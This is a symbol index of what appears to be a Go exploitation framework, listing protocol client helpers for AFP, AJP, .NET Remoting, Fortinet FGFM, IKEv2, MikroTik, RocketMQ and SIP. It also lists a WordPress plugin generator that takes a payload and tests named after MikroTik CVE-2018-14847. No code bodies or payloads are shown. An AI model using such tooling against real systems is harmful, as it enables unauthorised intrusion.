function GeneratePlugin (line 62) | func GeneratePlugin(payload, name string) (string, []byte, bool) {
function UploadPlugin (line 105) | func UploadPlugin(conf *config.Config, cookies []*http.Cookie, zip []byt...
FILE: product/wordpress/wordpress.go
function Login (line 19) | func Login(conf *config.Config, username, password string) ([]*http.Cook...
FILE: protocol/afp/afp.go
constant DSICloseSession (line 15) | DSICloseSession = byte(0x1)
constant DSICommand (line 16) | DSICommand = byte(0x2)
constant DSIGetStatus (line 17) | DSIGetStatus = byte(0x3)
constant DSIOpenSession (line 18) | DSIOpenSession = byte(0x4)
constant DSITickle (line 19) | DSITickle = byte(0x5)
constant DSIWrite (line 20) | DSIWrite = byte(0x6)
constant DSIAttention (line 21) | DSIAttention = byte(0x8)
constant AFPByteLock (line 22) | AFPByteLock = 0x01
constant AFPCloseVol (line 23) | AFPCloseVol = 0x02
constant AFPCloseDir (line 24) | AFPCloseDir = 0x03
constant AFPCloseFork (line 25) | AFPCloseFork = 0x04
constant AFPCopyFile (line 26) | AFPCopyFile = 0x05
constant AFPCreateDir (line 27) | AFPCreateDir = 0x06
constant AFPCreateFile (line 28) | AFPCreateFile = 0x07
constant AFPDelete (line 29) | AFPDelete = 0x08
constant AFPEnumerate (line 30) | AFPEnumerate = 0x09
constant AFPFlush (line 31) | AFPFlush = 0x0a
constant AFPFlushFork (line 32) | AFPFlushFork = 0x0b
constant AFPGetForkParams (line 33) | AFPGetForkParams = 0x0e
constant AFPGetSrvrInfo (line 34) | AFPGetSrvrInfo = 0x0f
constant AFPGetSrvrParams (line 35) | AFPGetSrvrParams = 0x10
constant AFPGetVolParams (line 36) | AFPGetVolParams = 0x11
constant AFPLogin (line 37) | AFPLogin = 0x12
constant AFPLoginCont (line 38) | AFPLoginCont = 0x13
constant AFPLogout (line 39) | AFPLogout = 0x14
constant AFPMapID (line 40) | AFPMapID = 0x15
constant AFPMapName (line 41) | AFPMapName = 0x16
constant AFPMoveAndRename (line 42) | AFPMoveAndRename = 0x17
constant AFPOpenVol (line 43) | AFPOpenVol = 0x18
constant AFPOpenDir (line 44) | AFPOpenDir = 0x19
constant AFPOpenFork (line 45) | AFPOpenFork = 0x1a
constant AFPRead (line 46) | AFPRead = 0x1b
constant AFPRename (line 47) | AFPRename = 0x1c
constant AFPSetDirParams (line 48) | AFPSetDirParams = 0x1d
constant AFPSetFileParams (line 49) | AFPSetFileParams = 0x1e
constant AFPSetForkParams (line 50) | AFPSetForkParams = 0x1f
constant AFPSetVolParams (line 51) | AFPSetVolParams = 0x20
constant AFPWrite (line 52) | AFPWrite = 0x21
constant AFPGetFileDirParams (line 53) | AFPGetFileDirParams = 0x22
constant AFPSetFileDirParams (line 54) | AFPSetFileDirParams = 0x23
constant AFPChangePW (line 55) | AFPChangePW = 0x24
constant AFPGetUserInfo (line 56) | AFPGetUserInfo = 0x25
constant AFPGetSrvrMesg (line 57) | AFPGetSrvrMesg = 0x26
constant AFPCreateID (line 58) | AFPCreateID = 0x27
constant AFPDeleteID (line 59) | AFPDeleteID = 0x28
constant AFPResolveID (line 60) | AFPResolveID = 0x29
constant AFPExchangeFiles (line 61) | AFPExchangeFiles = 0x2a
constant AFPCatSearch (line 62) | AFPCatSearch = 0x2b
constant AFPOpenDT (line 63) | AFPOpenDT = 0x30
constant AFPCloseDT (line 64) | AFPCloseDT = 0x31
constant AFPGetIcon (line 65) | AFPGetIcon = 0x33
constant AFPGetIconInfo (line 66) | AFPGetIconInfo = 0x34
constant AFPAddAppl (line 67) | AFPAddAppl = 0x35
constant AFPRmvAppl (line 68) | AFPRmvAppl = 0x36
constant AFPGetAppl (line 69) | AFPGetAppl = 0x37
constant AFPAddComment (line 70) | AFPAddComment = 0x38
constant AFPRmvComment (line 71) | AFPRmvComment = 0x39
constant AFPGetComment (line 72) | AFPGetComment = 0x3a
constant AFPReadExt (line 73) | AFPReadExt = 0x3c
constant AFPWriteExt (line 74) | AFPWriteExt = 0x3d
constant AFPGetExtAttr (line 75) | AFPGetExtAttr = 0x45
constant AFPSetExtAttr (line 76) | AFPSetExtAttr = 0x46
constant VolBitmapAttributes (line 77) | VolBitmapAttributes = 0x1
constant VolBitmapSignature (line 78) | VolBitmapSignature = 0x2
constant VolBitmapCreationDate (line 79) | VolBitmapCreationDate = 0x4
constant VolBitmapModificationDate (line 80) | VolBitmapModificationDate = 0x8
constant VolBitmapBackupDate (line 81) | VolBitmapBackupDate = 0x10
constant VolBitmapID (line 82) | VolBitmapID = 0x20
constant VolBitmapBytesFree (line 83) | VolBitmapBytesFree = 0x40
constant VolBitmapBytesTotal (line 84) | VolBitmapBytesTotal = 0x80
constant VolBitmapName (line 85) | VolBitmapName = 0x100
constant VolBitmapExtendedBytesFree (line 86) | VolBitmapExtendedBytesFree = 0x200
constant VolBitmapExtendedBytesTotal (line 87) | VolBitmapExtendedBytesTotal = 0x400
constant VolBitmapBlockSize (line 88) | VolBitmapBlockSize = 0x800
constant FileBitmapAttributes (line 89) | FileBitmapAttributes = 0x1
constant FileBitmapParentDirID (line 90) | FileBitmapParentDirID = 0x2
constant FileBitmapCreationDate (line 91) | FileBitmapCreationDate = 0x4
constant FileBitmapModificationDate (line 92) | FileBitmapModificationDate = 0x8
constant FileBitmapBackupDate (line 93) | FileBitmapBackupDate = 0x10
constant FileBitmapFinderInfo (line 94) | FileBitmapFinderInfo = 0x20
constant FileBitmapLongName (line 95) | FileBitmapLongName = 0x40
constant FileBitmapShortName (line 96) | FileBitmapShortName = 0x80
constant FileBitmapNodeID (line 97) | FileBitmapNodeID = 0x100
constant FileBitmapDataForkSize (line 98) | FileBitmapDataForkSize = 0x200
constant FileBitmapResourceForkSize (line 99) | FileBitmapResourceForkSize = 0x400
constant FileBitmapExtendedDataForkSize (line 100) | FileBitmapExtendedDataForkSize = 0x800
constant FileBitmapLaunchLimit (line 101) | FileBitmapLaunchLimit = 0x1000
constant FileBitmapUTF8Name (line 102) | FileBitmapUTF8Name = 0x2000
constant FileBitmapExtendedResourceForkSize (line 103) | FileBitmapExtendedResourceForkSize = 0x4000
constant FileBitmapUnixPrivileges (line 104) | FileBitmapUnixPrivileges = 0x8000
constant FileBitmapALL (line 105) | FileBitmapALL = 0xFFFF
constant DirBitmapAttributes (line 106) | DirBitmapAttributes = 0x1
constant DirBitmapParentDirID (line 107) | DirBitmapParentDirID = 0x0
constant DirBitmapCreationDate (line 108) | DirBitmapCreationDate = 0x4
constant DirBitmapModificationDate (line 109) | DirBitmapModificationDate = 0x8
constant DirBitmapBackupDate (line 110) | DirBitmapBackupDate = 0x10
constant DirBitmapFinderInfo (line 111) | DirBitmapFinderInfo = 0x20
constant DirBitmapLongName (line 112) | DirBitmapLongName = 0x40
constant DirBitmapShortName (line 113) | DirBitmapShortName = 0x80
constant DirBitmapNodeID (line 114) | DirBitmapNodeID = 0x100
constant DirBitmapOffspringCount (line 115) | DirBitmapOffspringCount = 0x200
constant DirBitmapOwnerID (line 116) | DirBitmapOwnerID = 0x400
constant DirBitmapGroupID (line 117) | DirBitmapGroupID = 0x800
constant DirBitmapAccessRights (line 118) | DirBitmapAccessRights = 0x1000
constant DirBitmapUTF8Name (line 119) | DirBitmapUTF8Name = 0x2000
constant DirBitmapUnixPrivileges (line 120) | DirBitmapUnixPrivileges = 0x8000
constant DirBitmapALL (line 121) | DirBitmapALL = 0xBFFF
constant AccessModeRead (line 122) | AccessModeRead = 0x1
constant AccessModeWrite (line 123) | AccessModeWrite = 0x2
constant AccessModeDenyRead (line 124) | AccessModeDenyRead = 0x10
constant AccessModeDenyWrite (line 125) | AccessModeDenyWrite = 0x20
type Header (line 128) | type Header struct
method Encode (line 143) | func (d *Header) Encode() []byte {
type FPPacket (line 137) | type FPPacket struct
function Decode (line 155) | func Decode(data []byte) (FPPacket, bool) {
function Connect (line 174) | func Connect(host string, port int, ssl bool) (net.Conn, bool) {
function GetServerStatus (line 194) | func GetServerStatus(host string, port int, ssl bool) (*FPPacket, bool) {
function OpenSession (line 230) | func OpenSession(conn net.Conn) bool {
function Disconnect (line 254) | func Disconnect(conn net.Conn) bool {
function ReadPacket (line 267) | func ReadPacket(conn net.Conn) (*FPPacket, bool) {
function CreateFPPacket (line 296) | func CreateFPPacket(command byte, payload []byte) FPPacket {
function WritePacket (line 310) | func WritePacket(conn net.Conn, packet FPPacket) bool {
function AnonymousLogin (line 320) | func AnonymousLogin(conn net.Conn) bool {
function Logout (line 345) | func Logout(conn net.Conn) bool {
function OpenVolume (line 366) | func OpenVolume(conn net.Conn, bitmap uint16, volumeName []byte) (uint16...
function WalkRootDir (line 404) | func WalkRootDir(conn net.Conn, path string) (uint16, uint32, bool) {
function CreateFile (line 421) | func CreateFile(conn net.Conn, volumeID uint16, dirID uint32, fileName s...
function OpenFork (line 458) | func OpenFork(conn net.Conn, flag byte, volumeID uint16, dirID uint32, b...
function CloseFork (line 507) | func CloseFork(conn net.Conn, forkID uint16) bool {
function FlushFork (line 531) | func FlushFork(conn net.Conn, forkID uint16) bool {
function SetForkParams (line 554) | func SetForkParams(conn net.Conn, forkID uint16, bitmap uint16, size uin...
function GetForkParams (line 583) | func GetForkParams(conn net.Conn, forkID uint16, bitmap uint16) (*FPPack...
function ReadExt (line 609) | func ReadExt(conn net.Conn, forkID uint16, offset uint64, count uint64) ...
function WriteExt (line 639) | func WriteExt(conn net.Conn, forkID uint16, fdata []byte) bool {
function MoveAndRenameFile (line 677) | func MoveAndRenameFile(conn net.Conn, srcVolID uint16, srcDirID uint32, ...
function AddAppl (line 731) | func AddAppl(conn net.Conn, volID uint16, dirID uint32, creator [4]byte,...
function GetAppl (line 768) | func GetAppl(conn net.Conn, volID uint16, creator [4]byte, aIndex uint16...
function SetFilParams (line 801) | func SetFilParams(conn net.Conn, volID uint16, dirID uint32, bitmap uint...
function Delete (line 834) | func Delete(conn net.Conn, volumeID uint16, dirID uint32, path string) b...
function ReadFile (line 871) | func ReadFile(conn net.Conn, path string, forkFlag byte) ([]byte, bool) {
function WriteNewFile (line 913) | func WriteNewFile(conn net.Conn, path string, fdata []byte, withFork boo...
function WriteFile (line 955) | func WriteFile(conn net.Conn, path string, fdata []byte, withFork bool) ...
function DeleteFile (line 986) | func DeleteFile(conn net.Conn, path string) bool {
function RenameFileHelper (line 1003) | func RenameFileHelper(conn net.Conn, srcPath string, dstPath string, dst...
FILE: protocol/ajp/ajp.go
type method (line 34) | type method
constant OPTIONS (line 37) | OPTIONS method = 1
constant GET (line 38) | GET method = 2
constant HEAD (line 39) | HEAD method = 3
constant POST (line 40) | POST method = 4
constant PUT (line 41) | PUT method = 5
constant DELETE (line 42) | DELETE method = 6
type reqType (line 45) | type reqType
constant FORWARD (line 48) | FORWARD reqType = 2
constant SHUTDOWN (line 49) | SHUTDOWN reqType = 7
constant PING (line 50) | PING reqType = 8
constant CPING (line 51) | CPING reqType = 10
type respType (line 54) | type respType
constant SENDBODYCHUNK (line 57) | SENDBODYCHUNK respType = 3
constant SENDHEADERS (line 58) | SENDHEADERS respType = 4
constant ENDRESPONSE (line 59) | ENDRESPONSE respType = 5
type definedHeaders (line 62) | type definedHeaders
constant ACCEPT (line 65) | ACCEPT definedHeaders = 0xa001
constant ACCEPTCHARSET (line 66) | ACCEPTCHARSET definedHeaders = 0xa002
constant ACCEPTENCODING (line 67) | ACCEPTENCODING definedHeaders = 0xa003
constant ACCEPTLANGUAGE (line 68) | ACCEPTLANGUAGE definedHeaders = 0xa004
constant AUTHORIZATION (line 69) | AUTHORIZATION definedHeaders = 0xa005
constant CONNECTION (line 70) | CONNECTION definedHeaders = 0xa006
constant CONTENTTYPE (line 71) | CONTENTTYPE definedHeaders = 0xa007
constant CONTENTLENGTH (line 72) | CONTENTLENGTH definedHeaders = 0xa008
constant COOKIE (line 73) | COOKIE definedHeaders = 0xa009
constant COOKIE2 (line 74) | COOKIE2 definedHeaders = 0xa00a
constant HOST (line 75) | HOST definedHeaders = 0xa00b
constant PRAGMA (line 76) | PRAGMA definedHeaders = 0xa00c
constant REFERER (line 77) | REFERER definedHeaders = 0xa00d
constant USERAGENT (line 78) | USERAGENT definedHeaders = 0xa00e
type ForwardRequest (line 82) | type ForwardRequest struct
function createForwardRequest (line 97) | func createForwardRequest(host string, port int, ssl bool, uri string, h...
function setGetForwardRequest (line 120) | func setGetForwardRequest(request *ForwardRequest) {
function appendString (line 127) | func appendString(serialized *[]byte, value string) {
function appendBool (line 140) | func appendBool(serialized *[]byte, value bool) {
function appendInt (line 151) | func appendInt(serialized *[]byte, value int) {
function serializeForwardRequest (line 158) | func serializeForwardRequest(request ForwardRequest) []byte {
function checkRecvMagic (line 208) | func checkRecvMagic(conn net.Conn) bool {
function readResponse (line 218) | func readResponse(conn net.Conn) (string, bool) {
function readRequestResponse (line 246) | func readRequestResponse(conn net.Conn) (int, string, bool) {
function SendAndRecv (line 288) | func SendAndRecv(host string, port int, ssl bool, uri string, verb strin...
FILE: protocol/ajp/ajp_test.go
function TestStructCreation (line 10) | func TestStructCreation(t *testing.T) {
function TestStructSerialize (line 37) | func TestStructSerialize(t *testing.T) {
FILE: protocol/dotnetremoting/dotnetremoting.go
type Message (line 37) | type Message struct
method WritePreamble (line 105) | func (msg *Message) WritePreamble(uri string, opType OperationType, da...
method WriteDefaultPreamble (line 126) | func (msg *Message) WriteDefaultPreamble(uri string, opType OperationT...
method GetMessage (line 133) | func (msg *Message) GetMessage(data string) string {
method AddCustomHeader (line 138) | func (msg *Message) AddCustomHeader(headerName string, headerValue str...
method AddURIHeader (line 145) | func (msg *Message) AddURIHeader(uri string, headerToken HeaderToken) {
method AddContentTypeHeader (line 152) | func (msg *Message) AddContentTypeHeader(contentType string) {
method AddStatusPhraseHeader (line 158) | func (msg *Message) AddStatusPhraseHeader(statusPhrase string) { // un...
method AddCloseConnectionHeader (line 163) | func (msg *Message) AddCloseConnectionHeader() { // untested
method AddStatusCodeHeader (line 168) | func (msg *Message) AddStatusCodeHeader(isError bool) { // untested
type MessageResponse (line 43) | type MessageResponse struct
method Dump (line 179) | func (msg *MessageResponse) Dump() {
type OperationType (line 53) | type OperationType
constant OperationTypeRequest (line 56) | OperationTypeRequest OperationType = "\x00\x00"
constant OperationTypeOneWayRequest (line 57) | OperationTypeOneWayRequest OperationType = "\x01\x00"
constant OperationTypeReply (line 58) | OperationTypeReply OperationType = "\x02\x00"
type HeaderToken (line 61) | type HeaderToken
constant HeaderTokenEndHeaders (line 64) | HeaderTokenEndHeaders HeaderToken = "\x00\x00"
constant HeaderTokenCustom (line 65) | HeaderTokenCustom HeaderToken = "\x01\x00"
constant HeaderTokenStatusCode (line 66) | HeaderTokenStatusCode HeaderToken = "\x02\x00"
constant HeaderTokenStatusPhrase (line 67) | HeaderTokenStatusPhrase HeaderToken = "\x03\x00"
constant HeaderTokenRequestURI (line 68) | HeaderTokenRequestURI HeaderToken = "\x04\x00"
constant HeaderTokenCloseConnection (line 69) | HeaderTokenCloseConnection HeaderToken = "\x05\x00"
constant HeaderTokenContentType (line 70) | HeaderTokenContentType HeaderToken = "\x06\x00"
type HeaderDataFormat (line 73) | type HeaderDataFormat
constant HeaderDataFormatVoid (line 76) | HeaderDataFormatVoid HeaderDataFormat = "\x00"
constant HeaderDataFormatCountedString (line 77) | HeaderDataFormatCountedString HeaderDataFormat = "\x01"
constant HeaderDataFormatByte (line 78) | HeaderDataFormatByte HeaderDataFormat = "\x02"
constant HeaderDataFormatUint16 (line 79) | HeaderDataFormatUint16 HeaderDataFormat = "\x03"
constant HeaderDataFormatInt32 (line 80) | HeaderDataFormatInt32 HeaderDataFormat = "\x04"
type ContentDistribution (line 83) | type ContentDistribution
constant ContentDistributionNotChunked (line 86) | ContentDistributionNotChunked ContentDistribution = "\x00\x00"
constant ContentDistributionChunked (line 87) | ContentDistributionChunked ContentDistribution = "\x01\x00"
type StringEncoding (line 90) | type StringEncoding
constant StringEncodingUnicode (line 93) | StringEncodingUnicode StringEncoding = "\x00"
constant StringEncodingUtf8 (line 94) | StringEncodingUtf8 StringEncoding = "\x01"
type TCPStatusCode (line 97) | type TCPStatusCode
constant TCPStatusCodeSuccess (line 100) | TCPStatusCodeSuccess TCPStatusCode = "\x00"
constant TCPStatusCodeError (line 101) | TCPStatusCodeError TCPStatusCode = "\x01"
function ParseResponseFromConn (line 196) | func ParseResponseFromConn(conn net.Conn) (MessageResponse, bool) {
function readHeadersFromConn (line 281) | func readHeadersFromConn(conn net.Conn) (map[string]string, bool) {
function readHeaderStringFromConn (line 383) | func readHeaderStringFromConn(conn net.Conn) (string, bool) {
function readNBytes (line 411) | func readNBytes(conn net.Conn, n int) (string, bool) {
function addCountedString (line 435) | func addCountedString(msg *string, encodingType StringEncoding, stringVa...
FILE: protocol/fortinet/fgfm.go
function SendFGFMMessage (line 19) | func SendFGFMMessage(conn net.Conn, payload string) bool {
function ReadFGFMMessage (line 35) | func ReadFGFMMessage(conn net.Conn) ([]byte, bool) {
function Connect (line 66) | func Connect(host string, port int, ssl bool, cert []byte, key []byte) (...
FILE: protocol/httphelper.go
function GenerateURL (line 34) | func GenerateURL(rhost string, rport int, ssl bool, uri string) string {
function BuildURI (line 57) | func BuildURI(paths ...string) string {
function BasicAuth (line 75) | func BasicAuth(username, password string) string {
function parseCookies (line 79) | func parseCookies(headers []string) string {
function ParseCookies (line 90) | func ParseCookies(resp *http.Response) string {
function DoRawHTTPRequest (line 95) | func DoRawHTTPRequest(rhost string, rport int, uri string, verb string) ...
function cacheResponse (line 127) | func cacheResponse(req *http.Request, resp *http.Response) {
function cacheLookup (line 148) | func cacheLookup(uri string) (*http.Response, string, bool) {
function DoRequest (line 195) | func DoRequest(client *http.Client, req *http.Request) (*http.Response, ...
function CookieString (line 216) | func CookieString(cookies []*http.Cookie) string {
function CreateRequestParams (line 230) | func CreateRequestParams(params map[string]string) string {
function CreateRequestParamsEncoded (line 243) | func CreateRequestParamsEncoded(params map[string]string) string {
function SetRequestHeaders (line 254) | func SetRequestHeaders(req *http.Request, headers map[string]string) {
function CreateRequest (line 267) | func CreateRequest(verb string, url string, payload string, followRedire...
function HTTPSendAndRecv (line 318) | func HTTPSendAndRecv(verb string, url string, payload string) (*http.Res...
function HTTPGetCache (line 328) | func HTTPGetCache(url string) (*http.Response, string, bool) {
function HTTPSendAndRecvNoRedirect (line 363) | func HTTPSendAndRecvNoRedirect(verb string, url string, payload string) ...
function HTTPSendAndRecvURLEncoded (line 381) | func HTTPSendAndRecvURLEncoded(verb string, url string, params map[strin...
function HTTPSendAndRecvURLEncodedParams (line 397) | func HTTPSendAndRecvURLEncodedParams(verb string, url string, params map...
function HTTPSendAndRecvURLEncodedAndHeaders (line 413) | func HTTPSendAndRecvURLEncodedAndHeaders(verb string, url string, params...
function HTTPSendAndRecvURLEncodedParamsAndHeaders (line 433) | func HTTPSendAndRecvURLEncodedParamsAndHeaders(verb string, url string, ...
function HTTPSendAndRecvWithHeaders (line 450) | func HTTPSendAndRecvWithHeaders(verb string, url string, payload string,...
function HTTPSendAndRecvWithHeadersNoRedirect (line 462) | func HTTPSendAndRecvWithHeadersNoRedirect(verb string, url string, paylo...
function MultipartCreateForm (line 516) | func MultipartCreateForm() (*strings.Builder, *multipart.Writer) {
function MultipartAddField (line 536) | func MultipartAddField(writer *multipart.Writer, name string, value stri...
function MultipartCreateFormFields (line 585) | func MultipartCreateFormFields(writer *multipart.Writer, fieldMap map[st...
function MultipartAddPart (line 614) | func MultipartAddPart(writer *multipart.Writer, headers map[string]strin...
function MultipartAddFile (line 630) | func MultipartAddFile(writer *multipart.Writer, name, filename, ctype, v...
function GetSetCookieValue (line 640) | func GetSetCookieValue(resp *http.Response, name string) (string, bool) {
FILE: protocol/httphelper_test.go
function TestBasicAuth (line 8) | func TestBasicAuth(t *testing.T) {
function TestParseCookies (line 18) | func TestParseCookies(t *testing.T) {
function TestBuildURI (line 32) | func TestBuildURI(t *testing.T) {
function TestGenerateURL (line 50) | func TestGenerateURL(t *testing.T) {
function TestCookieString (line 65) | func TestCookieString(t *testing.T) {
FILE: protocol/ikev2/ikev2.go
function Uint64ToString (line 74) | func Uint64ToString(num uint64) []byte {
function generateNonce (line 81) | func generateNonce(length int) ([]byte, bool) {
method GenerateDHKey (line 94) | func (ikeCrypto *IkeCrypto) GenerateDHKey(diffieHellmanGroup int) bool {
method Init (line 112) | func (ikeCrypto *IkeCrypto) Init() bool {
method Connect (line 126) | func (ikeClient *IkeClient) Connect(conf *config.Config) bool {
FILE: protocol/ikev2/ikev2_test.go
function TestVendorIDPack (line 9) | func TestVendorIDPack(t *testing.T) {
function TestSecurityAssociationPack (line 42) | func TestSecurityAssociationPack(t *testing.T) {
function TestNotifyPack (line 57) | func TestNotifyPack(t *testing.T) {
FILE: protocol/ikev2/packs.go
function IkePackNonce (line 10) | func IkePackNonce(nextPayload int, nonce []byte) []byte {
function IkePackVendorID (line 18) | func IkePackVendorID(nextPayload int, vendorID []byte) []byte {
function IkePackNotify (line 26) | func IkePackNotify(nextPayload int, notifyType int, data []byte, protoco...
function IkePackKeyExchange (line 39) | func IkePackKeyExchange(nextPayload int, dhGroup int, data []byte) []byte {
function IkePackSecurityAssociation (line 50) | func IkePackSecurityAssociation(payloadType int, proposal []byte) []byte {
method Pack (line 57) | func (ikeTransform *IkeTransform) Pack() []byte {
function IkePackPayloadHeader (line 72) | func IkePackPayloadHeader(payloadType int, payloadIn []byte) []byte {
function IkePackProposal (line 85) | func IkePackProposal(nextPayload int, number int, id int, transforms []I...
function IkePackHeader (line 102) | func IkePackHeader(ikeClient *IkeClient, payloadType int, version int, e...
FILE: protocol/ikev2/types.go
type IkeClient (line 187) | type IkeClient struct
type IkeCrypto (line 192) | type IkeCrypto struct
type IkeProposal (line 213) | type IkeProposal struct
type IkeTransform (line 220) | type IkeTransform struct
FILE: protocol/mikrotik/mikrotik_test.go
function Test_CVE_2018_14847_ServerResponse1 (line 8) | func Test_CVE_2018_14847_ServerResponse1(t *testing.T) {
function Test_CVE_2018_14847_ServerResponse2 (line 61) | func Test_CVE_2018_14847_ServerResponse2(t *testing.T) {
function Test_ParseUsersFile (line 106) | func Test_ParseUsersFile(t *testing.T) {
function Test_MessageCreation (line 115) | func Test_MessageCreation(t *testing.T) {
function Test_FailingDatFileEntry (line 132) | func Test_FailingDatFileEntry(t *testing.T) {
FILE: protocol/mikrotik/msg.go
type M2Message (line 11) | type M2Message struct
method SetTo (line 53) | func (msg M2Message) SetTo(to uint32, handler uint32) {
method SetCommand (line 60) | func (msg M2Message) SetCommand(command uint32) {
method SetRequestID (line 64) | func (msg M2Message) SetRequestID(id uint32) {
method SetReplyExpected (line 68) | func (msg M2Message) SetReplyExpected(expected bool) {
method SetSessionID (line 72) | func (msg M2Message) SetSessionID(id uint32) {
method GetSessionID (line 76) | func (msg M2Message) GetSessionID() uint32 {
method AddBool (line 80) | func (msg M2Message) AddBool(varname uint32, data bool) {
method AddU32 (line 84) | func (msg M2Message) AddU32(varname uint32, data uint32) {
method AddString (line 88) | func (msg M2Message) AddString(varname uint32, data []byte) {
method AddRaw (line 93) | func (msg M2Message) AddRaw(varname uint32, data []byte) {
method AddU32Array (line 98) | func (msg M2Message) AddU32Array(varname uint32, data []uint32) {
method Serialize (line 102) | func (msg M2Message) Serialize() []byte {
function NewM2Message (line 20) | func NewM2Message() *M2Message {
constant typeBoolean (line 33) | typeBoolean uint32 = 0
constant typeShortLength (line 34) | typeShortLength uint32 = 0x01000000
constant typeUint32 (line 35) | typeUint32 uint32 = 0x08000000
constant typeString (line 36) | typeString uint32 = 0x20000000
constant typeRaw (line 37) | typeRaw uint32 = 0x30000000
constant typeUint32Array (line 38) | typeUint32Array uint32 = 0x88000000
constant typeMessageArray (line 39) | typeMessageArray uint32 = 0xa8000000
constant VarSysTo (line 43) | VarSysTo uint32 = 0x00ff0001
constant VarFrom (line 44) | VarFrom uint32 = 0x00ff0002
constant VarReplyExpected (line 45) | VarReplyExpected uint32 = 0x00ff0005
constant VarRequestID (line 46) | VarRequestID uint32 = 0x00ff0006
constant VarCommand (line 47) | VarCommand uint32 = 0x00ff0007
constant VarErrorCode (line 48) | VarErrorCode uint32 = 0x00ff0008
constant VarErrorString (line 49) | VarErrorString uint32 = 0x00ff0009
constant VarSessionID (line 50) | VarSessionID uint32 = 0x00fe0001
function handleStringorRaw (line 192) | func handleStringorRaw(varTypeName uint32, varName uint32, data *[]byte,...
function ParseM2Message (line 215) | func ParseM2Message(data []byte, msg *M2Message) bool {
FILE: protocol/mikrotik/webfig.go
type WebfigSession (line 27) | type WebfigSession struct
function reverseSlice (line 35) | func reverseSlice(slice []byte) []byte {
function webEncode (line 48) | func webEncode(data []byte) string {
function webDecode (line 57) | func webDecode(data string) string {
function generateKeyPair (line 67) | func generateKeyPair() ([]byte, []byte) {
function generateSharedKey (line 87) | func generateSharedKey(privateKey []byte, publicKey []byte) []byte {
function sendPublicKey (line 95) | func sendPublicKey(webfigURL string, publicKey []byte) (string, bool) {
function initRC4 (line 119) | func initRC4(session *WebfigSession, sharedKey []byte) {
function NegotiateEncryption (line 151) | func NegotiateEncryption(webfigURL string, session *WebfigSession) bool {
function SendEncrypted (line 178) | func SendEncrypted(webfigURL string, msg *M2Message, session *WebfigSess...
function Login (line 237) | func Login(webfigURL string, username string, password string, session *...
function FileUpload (line 262) | func FileUpload(webfigURL string, filename string, contents string, sess...
FILE: protocol/mikrotik/winbox.go
function SendM2 (line 13) | func SendM2(conn net.Conn, msg *M2Message) bool {
function ReceiveM2 (line 37) | func ReceiveM2(conn net.Conn, msg *M2Message) bool {
FILE: protocol/rocketmq/remoting.go
function CreateMqRemotingMessage (line 26) | func CreateMqRemotingMessage(payload string, code int, version int) []by...
function ReadMqRemotingResponse (line 70) | func ReadMqRemotingResponse(conn net.Conn) ([]byte, []byte, bool) {
FILE: protocol/rocketmq/remoting_test.go
function Test_MaxSize (line 9) | func Test_MaxSize(t *testing.T) {
FILE: protocol/sip/examples/call/main.go
constant host (line 14) | host = "127.0.0.1"
constant fromUser (line 15) | fromUser = "john.doe"
constant pass (line 16) | pass = "password"
constant toUser (line 17) | toUser = "dembele"
function main (line 20) | func main() {
FILE: protocol/sip/examples/ping/main.go
constant host (line 15) | host = "127.0.0.1"
constant fromUser (line 17) | fromUser = "bob"
constant toUser (line 18) | toUser = "alice"
function main (line 21) | func main() {
FILE: protocol/sip/examples/tcp/main.go
constant host (line 12) | host = "127.0.0.1"
constant useTLS (line 13) | useTLS = true
function main (line 16) | func main() {
FILE: protocol/sip/helper.go
constant UDPMessageLength (line 35) | UDPMessageLength = 1300
constant errMsgRequiredParam (line 36) | errMsgRequiredParam = "Required parameter: %s"
constant DefaultMaxForwards (line 37) | DefaultMaxForwards = 70
constant DefaultCSeq (line 38) | DefaultCSeq = 1
constant DefaultInviteContentType (line 39) | DefaultInviteContentType = "application/sdp"
constant DefaultMessageContentType (line 40) | DefaultMessageContentType = "text/plain"
constant DefaultMessageBodyContent (line 41) | DefaultMessageBodyContent = "Hello, this is a test message."
constant DefaultInfoContentType (line 42) | DefaultInfoContentType = "application/dtmf-relay"
constant DefaultInfoBodyContent (line 43) | DefaultInfoBodyContent = "Signal=1Signal=1\nDuration=100"
constant DefaultExpiresHeader (line 44) | DefaultExpiresHeader = 3600
constant DefaultRackCSeq (line 45) | DefaultRackCSeq = 1
constant DefaultRackInviteCSeq (line 46) | DefaultRackInviteCSeq = 314159
constant defaultTransport (line 47) | defaultTransport = "UDP"
constant ContentTypePidf (line 48) | ContentTypePidf = "application/pidf+xml"
constant sipLineEnd (line 52) | sipLineEnd = "\r\n"
constant sipLineEndAlt (line 53) | sipLineEndAlt = "\n"
type TransportType (line 62) | type TransportType
method String (line 73) | func (t TransportType) String() string {
constant UNKNOWN (line 65) | UNKNOWN TransportType = iota
constant UDP (line 66) | UDP
constant TCP (line 67) | TCP
constant TLS (line 68) | TLS
constant WS (line 69) | WS
constant WSS (line 70) | WSS
function SendAndReceiveTCP (line 87) | func SendAndReceiveTCP(conn net.Conn, req sip.Message) (*sip.Response, b...
function ReadMessageTCP (line 124) | func ReadMessageTCP(conn net.Conn) (sip.Message, bool) {
function SendAndReceiveUDP (line 177) | func SendAndReceiveUDP(
function ReadMessageUDP (line 218) | func ReadMessageUDP(conn *net.UDPConn) (sip.Message, bool) {
function NewSipRequest (line 241) | func NewSipRequest(
type NewSipRequestOpts (line 336) | type NewSipRequestOpts struct
function NewViaHeader (line 354) | func NewViaHeader(opts *NewViaOpts) (*sip.ViaHeader, bool) {
type NewViaOpts (line 390) | type NewViaOpts struct
function IsContactRequired (line 404) | func IsContactRequired(method sip.RequestMethod) bool {
function AddMethodHeaders (line 421) | func AddMethodHeaders(req *sip.Request, method sip.RequestMethod) bool {
function NewRequestBody (line 469) | func NewRequestBody(method sip.RequestMethod) (string, string) {
function NewDefaultInviteBody (line 495) | func NewDefaultInviteBody(host, sessid, sessver string) string {
function NewDefaultPublishBody (line 521) | func NewDefaultPublishBody(id, status, entity string) string {
function NewDefaultNotifyBody (line 550) | func NewDefaultNotifyBody(id, status, contact, ts string) string {
function ParseTransport (line 577) | func ParseTransport(transport string) TransportType {
function ParseMethod (line 591) | func ParseMethod(method string) sip.RequestMethod {
FILE: protocol/sip/helper_test.go
constant host (line 11) | host = "localhost"
constant expectedMethod (line 12) | expectedMethod = sip.OPTIONS
constant expectedMaxForwardsHeader (line 13) | expectedMaxForwardsHeader = "Max-Forwards: 70"
constant expectedUserAgent (line 14) | expectedUserAgent = "Jitsi2.10.5550Mac OS X"
constant expectedAccept (line 15) | expectedAccept = "application/sdp"
constant expectedProtocolName (line 16) | expectedProtocolName = "SIP"
constant expectedProtocolVersion (line 17) | expectedProtocolVersion = "2.0"
